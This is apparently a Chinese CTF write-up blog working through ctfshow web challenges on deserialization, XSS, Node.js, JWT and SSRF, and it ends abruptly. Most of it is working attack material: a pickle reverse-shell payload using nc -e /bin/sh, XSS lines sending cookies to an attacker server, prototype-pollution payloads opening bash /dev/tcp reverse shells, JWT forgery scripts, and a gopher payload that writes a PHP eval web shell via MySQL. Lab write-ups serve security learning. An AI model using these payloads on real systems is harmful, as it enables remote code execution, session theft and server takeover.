反弹shell,执行命令就好了

1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64
import os


class RCE:
def __reduce__(self):
return os.popen, ("nc xxx.xxx.xxx.xxx 7777 -e /bin/sh",)


print(base64.b64encode(pickle.dumps(RCE())))
1
nc -lvvp 7777

web278

禁用了 os.system 但不影响 os.popen,继续用上面的脚本就行了

Xss

web316

题目的bot是每隔一段时间自动点击的,使用可以用xss拿cookie,flag应该就在cookie

直接简单的反射获取cookie就行了,这里用自己搭的BlueLotus xss平台

1
<script src="http://vps/xss/myjs/cookie.js"></script>

web317

过滤了<script

1
<body onload=location.href="http://vps/xss/?cookie="+document.cookie>

web318

过滤了img,同上

1
<body onload=location.href="http://8.130.35.148/xss/?cookie="+document.cookie>

web319

同上

其他的不做了。。。

Nodejs

资料:Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)

web334

user.js

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;
1
2
toUpperCase()是javascript中将小写转换成大写的函数。
toLowerCase()是javascript中将大写转换成小写的函数

正常情况下需要我们传入用户CTFSHOW才行,但是后端不通过,改用小写就可以了

web335

查看源代码提示

1
<!-- /?eval= -->

估计就是个eval() 函数让我们来执行 ,eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。记得接上.toString(),来输出

有个问题是exec执行输出的是[object Object]

1
2
/?eval=require('child_process').execSync('ls').toString()
/?eval=require('child_process').execSync('cat fl00g.txt').toString()

其他payload

1
2
require('child_process').spawnSync('ls',['./']).stdout.toString()
global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

类似命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
间隔两秒执行函数:

setInteval(some_function, 2000)

两秒后执行函数:

setTimeout(some_function, 2000);

some_function处就类似于eval函数的参数

输出HelloWorld:

Function("console.log('HelloWolrd')")()

类似于php中的create_function

web336

上一题的payload用不了

1
2
__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。
__dirname 表示当前执行脚本所在的目录。
1
2
3
/?eval=__filename                                                         //查看路径
/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8') //查看源码,过滤exec|load
/?eval=require('child_process')['exe'+'cSync']('ls').toString() //+号拼接绕过

或者

1
require('child_process').spawnSync('ls',['./']).stdout.toString()

web337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

这不是数组绕过吗

1
/?a[e]=1&b[e]=2

键名不能为空,也就是/?a[]=1&b[]=2不行

web338

原型链污染,关于原型链污染前面的资料都解释得很清楚了:Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

题目直接给了源码给审计,当在当前上下文找不到相应对象时,会遍历上一级对象是否存在相应的属性。

关键代码在/routes/login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

utils.copy(user,req.body);这里得copy可以类比之前文章提到的merge函数

utils.copy会将请求体中的数据复制到一个名为“user”的对象中,同时user和secert一样都是数组

那么就可以通过 req.body 即 POST 请求体传入参数,通过 user 来污染secert数组的原型,从而满足判断

1
{"__proto__": {"ctfshow": "36dboy"}}

web339

看起来有点吃力了,先去多看点文章学一学

所有变量的最顶层都是object

当在当前上下文找不到相应对象时,会遍历 Object 对象是否存在相应的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}


/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

由于flag的值并没有办法知道,所以用上一题的方法肯定是不行的,但是在api.js中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;

可以发现 res.render(‘api’, { query: Function(query)(query)});的Function可以用来执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;

通过污染Function的 query 对象,就可以执行代码

在cope那里进行污染反弹shell

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

在login污染后,记得POST访问一下/api路径触发Function

web340

和上一题差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

module.exports = router;

区别在于userinfo 的原型不是 Object 对象, userinfo.__proto__.__proto__ 才是 Object 对象

多套个__proto__就好了

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}}

web341

这道题套用了ejs引擎,详细看Express+lodash+ejs: 从原型链污染到RCE - evi0s’ Blog

网上找个paylaod直接用就好了,但记得套两次__proto__

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"');var __tmp2"}}}

web342、web343

等以后再回来补上吧

debug分析过程ctfshow nodejs篇 | tari’s Blog

web344

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

过滤了 8c2c逗号,nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。

所以

1
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

c要url编码成%63,就是因为前面的%22,会造成%22c,所以需要url编码。

JWT

JWT(json web token),令牌以紧凑的形式由三部分(Header、Payload、Signature)组成,这些部分由点(.)分隔

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2OTg5Nzk5OTIsImV4cCI6MTY5ODk4NzE5MiwibmJmIjoxNjk4OTc5OTkyLCJzdWIiOiJ1c2VyIiwianRpIjoiMDdhNjM0MzkxNDg0YTliNjRiODZiNTlmYWEyMTA5ODcifV0

header示例:

1
2
3
4
5
6
7
8
9
10
11
{
'typ': 'JWT',
'alg': 'HS256'
}

typ:声明类型

alg:声明加密的算法 通常直接使用 HMAC SHA256

需要注意的是因为header部分是固定的所以,生成的base64也是固定的以eyJh开头的
payload示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"sub": "1234567890",
"name": "John Doe"
}

标准中注册的声明 (建议但不强制使用)
# iss: jwt签发者

# sub: jwt所面向的用户

# aud: 接收jwt的一方

# exp: jwt的过期时间,这个过期时间必须要大于签发时间

# nbf: 定义在什么时间之前,该jwt都是不可用的

# iat: jwt的签发时间

# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

signature

是一个签证信息,这个签证信息由三部分组成

1
2
3
header (base64后的)
payload (base64后的)
secret

web345

考点:None 无签名认证

可以用https://jwt.io/ 解密,或者直接base64分别看就好了

cookie

1
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2OTg5Nzk5OTIsImV4cCI6MTY5ODk4NzE5MiwibmJmIjoxNjk4OTc5OTkyLCJzdWIiOiJ1c2VyIiwianRpIjoiMDdhNjM0MzkxNDg0YTliNjRiODZiNTlmYWEyMTA5ODcifV0

发现不存在第三部分的签证,也就不需要知道密钥。

提示:

1
{"alg":"None","typ":"jwt"}?[{"iss":"admin","iat":1698979992,"exp":1698987192,"nbf":1698979992,"sub":"user","jti":"07a634391484a9b64b86b59faa210987"}]

将sub值改为admin

1
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0/W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2OTg5Nzk5OTIsImV4cCI6MTY5ODk4NzE5MiwibmJmIjoxNjk4OTc5OTkyLCJzdWIiOiJhZG1pbiIsImp0aSI6IjA3YTYzNDM5MTQ4NGE5YjY0Yjg2YjU5ZmFhMjEwOTg3In1d

此时再访问/admin/就行了

访问/admin表示访问admin.php而访问/admin/表示访问的是admin目录下默认的index.php

web346

考点:None算法绕过签名

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODk4MTIxOSwiZXhwIjoxNjk4OTg4NDE5LCJuYmYiOjE2OTg5ODEyMTksInN1YiI6InVzZXIiLCJqdGkiOiJlYzRiY2Y0NmU5YzNkZWQ0Mzk1Mjg1ZWE0M2IxNDljZiJ9.eHo7TNe6_NUkt-4UnHzXixx8YCgqkxKfU4DNJ1rKfAA

不过这个JWT 支持将算法设定为 None。如果alg 字段设为None,那么签名会被置空,这样任何 token 都是有效的

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODk4MTIxOSwiZXhwIjoxNjk4OTg4NDE5LCJuYmYiOjE2OTg5ODEyMTksInN1YiI6ImFkbWluIiwianRpIjoiZWM0YmNmNDZlOWMzZGVkNDM5NTI4NWVhNDNiMTQ5Y2YifQ.

web347

考点:弱口令密钥

c-jwt-cracker爆破一下

1
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODk4MTk2MiwiZXhwIjoxNjk4OTg5MTYyLCJuYmYiOjE2OTg5ODE5NjIsInN1YiI6InVzZXIiLCJqdGkiOiJjNWU4ZjMxMjc1ZmFiMDM5ZmEzZWZjNzY2Zjk0ZDljZCJ9.7Cv77nix8GeX5zO9J5qlPd_vdObDmQPRuDjXgwGgEPQ

爆破出密钥为 123456 (6位数爆得好慢)

1
2
3
4
5
6
7
8
9
10
11
import jwt
payload = {
"iss": "admin",
"iat": 1698981219,
"exp": 1698988419,
"nbf": 1698981219,
"sub": "admin",
"jti": "ec4bcf46e9c3ded4395285ea43b149cf"
}
secret = '123456'
print(jwt.encode(payload, secret, algorithm='HS256'))

生成jwt字符串,再访问/admin/

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODk4MTIxOSwiZXhwIjoxNjk4OTg4NDE5LCJuYmYiOjE2OTg5ODEyMTksInN1YiI6ImFkbWluIiwianRpIjoiZWM0YmNmNDZlOWMzZGVkNDM5NTI4NWVhNDNiMTQ5Y2YifQ.UwlWIwmcagKevH8TUSuF76ilSj9wGo9fFnhCev6BNP0

web348

考点:密钥爆破

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODk4NzM0MSwiZXhwIjoxNjk4OTk0NTQxLCJuYmYiOjE2OTg5ODczNDEsInN1YiI6InVzZXIiLCJqdGkiOiI1OWViZmI1NWQzODMxZTMyZGMzOGFkNDM2YzFiOTJiMyJ9.5ev3A8m5tUTNLb0af5A68inhW3wTUOIYat__sE2QNeE

aaab4位数几乎一会儿就出

1
2
3
4
5
6
7
8
9
10
11
import jwt
payload = {
"iss": "admin",
"iat": 1698987341,
"exp": 1698994541,
"nbf": 1698987341,
"sub": "admin",
"jti": "59ebfb55d3831e32dc38ad436c1b92b3"
}
secret = 'aaab'
print(jwt.encode(payload, secret, algorithm='HS256'))
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODk4NzM0MSwiZXhwIjoxNjk4OTk0NTQxLCJuYmYiOjE2OTg5ODczNDEsInN1YiI6ImFkbWluIiwianRpIjoiNTllYmZiNTVkMzgzMWUzMmRjMzhhZDQzNmMxYjkyYjMifQ.UOIhXaACh2F4dwovF-YhZBvYYNb3VOinBxFugTuKyEc

web349

考点:公钥私钥泄露

它给的附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

在/public/路径下,暴露了公私钥,可以直接下载下来

有两种方法,一是得到私钥和公钥解密加密.二是用私钥自己生成公钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
import json

import jwt

jwt_origin = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTY5ODk4ODYzNX0.qEEx8YT_x3BLqTtYuFKBvEM7U9fcMg1ygiomg0qg1nF6CJcrnhx8YFC4ubYKAkfuK_O_RZeIWURc8asAfmihrwVSRrlnQDzSyXvIPXBu0y0gkDIbnitRCVqAIZbk2u5Fq3e1dHK6cBJBc7EklqusYSn7dPrlFieedf-YBrWEbX0"
# secret = "aaab"
with open("private.key", "rb") as f:
private_key = f.read()
with open("public.key", "rb") as f:
public_key = f.read()


alg = json.loads(base64.b64decode(jwt_origin.split(".")[0]))["alg"]
payload = jwt.decode(jwt_origin, public_key, algorithms=alg)

print("before: ", payload)
payload["user"] = "admin"
print("after: ", payload)

jwt_payload = jwt.encode(payload, private_key, algorithm=alg)
print(jwt_payload)


或者

1
2
3
4
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTg5ODg2MzV9.JsnUxBAGJJTqIatSR5qnktSHiSuYV0v67TpyYZ-3RePvxG_bwRJFEVBitUc3ggyHXS1g6dKnpz4rA0xorkIjhAdN6ZVb43fe8YgLEDUU0ttceNcUDh5WSk5nRPtEuCFthi-T1bfbDvYWlpM07cVdoEz5lXAQeVYwP6oW3iW4vhI

这次是用post访问原始目录就行了

web350

考点:密钥混淆攻击 RS256=>HS256

给我们源码了,但是只有公钥没有私钥

JWT签名算法中,一般有两个选择,一个采用HS256,另外一个就是采用RS256。
签名实际上是一个加密的过程,生成一段标识(也是JWT的一部分)作为接收方验证信息是否被篡改的依据。

RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。
另一方面, HS256 (带有 SHA-256 的 HMAC 是一种对称算法, 双方之间仅共享一个 密钥。由于使用相同的密钥生成签名和验证签名, 因此必须注意确保密钥不被泄密。

在开发应用的时候启用JWT,使用RS256更加安全,你可以控制谁能使用什么类型的密钥。另外,如果你无法控制客户端,无法做到密钥的完全保密,RS256会是个更佳的选择,JWT的使用方只需要知道公钥。

由于公钥通常可以从元数据URL节点获得,因此可以对客户端进行进行编程以自动检索公钥。如果采用这种方式,从服务器上直接下载公钥信息,可以有效的减少配置信息。

而有时候某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。
通过将算法调整为HMAC变体(HS256/HS384/HS512)并使用公共可用公钥对其进行签名,我们可以欺骗服务使用机密变量中的硬编码公钥验证HMAC令牌。

exp:

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
1
2
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTg5OTE3MDh9.r3s-EecD2spGgExpdPS9y4yx08LhM8FQSDLgI8xbn44

SSRF

web351

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// 创建一个新cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.runoob.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

post传参伪造本地127.0.0.1

1
url=127.0.0.1/flag.php

web352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

限制协议httphttps

1
if(!preg_match('/localhost|127.0.0/'))

这也没说,对啥匹配这两个呀

1
url=http://127.0.0.1/flag.php

直接出了,也可以把ip转成int,真正绕过那个检测

1
url=http://2130706433/flag.php

web353

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

用上题那个就行了

1
url=http://2130706433/flag.php

也可以使用sudo.cc代替127.0.0.1/localhost

1
url=http://sudo.cc/flag.php

在Linux中0表示自身的地址

1
http://0/flag.php

web354

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?
1
url=http://sudo.cc/flag.php

也可以通过ip地址解析为127.0.0.1的网站进行绕过

1
2
url=http://spoofed.burpcollaborator.net/flag.php
url=http://safe.taobao.com/flag.php

改本地域名的A记录到127.0.0.1上,然后访问http://域名/flag.php 即可(也可在自己域名服务器上搭建302跳转)

web355

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

限制长度

1
2
url=http://0/flag.php
url=http://127.1/flag.php

web356

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
1
url=http://0/flag.php

web357

考点:DNS rebinding(DNS重新绑定攻击)

DNS服务能够在两次DNS查询中返回不同的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
// gethostbyname — 返回主机名对应的 IPv4地址
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}

// FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
// FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
// FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
// FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
// FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

可以利用这个网站:CEYE - Monitor service for security testing

添加127.0.0.1和vps的ip。

1
url=http://r.xxxxx.ceye.io/flag.php

If your identifier is abcdef.ceye.io, then your DNS rebinding host is r.abcdef.ceye.io.

web358

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

限制了ctf开头,show结尾

1
2
url=http://ctf.@127.0.0.1/flag.php#show
url=http://ctf.@127.0.0.1/flag.php?show

这里的ctf.想到于用户user来访问该网站

web359

考点:打内网无密码的mysql

打开是个登陆框,应该不存在注入,抓包看看

一看这个returl就是利用点

这里用 gopherus 工具利用使用 gopher 协议,生成 payload去打 mysql

1
2
3
4
5
python2 gopherus.py --exploit mysql

username:root
写入一句话木马
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';
1
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01

_ 字符后面的内容还要 URL编码一次,因为 PHP接收到POST或GET请求数据,会自动进行一次URL解码

1
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

web360

考点:打redis

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
1
url=dict://127.0.0.1:6379

试出来有redis服务

直接生成payload

1
2
3
python2 gopherus.py --exploit redis
PHPshell
<?php @eval($_POST['cmd']);?>

依旧再编码一次

1
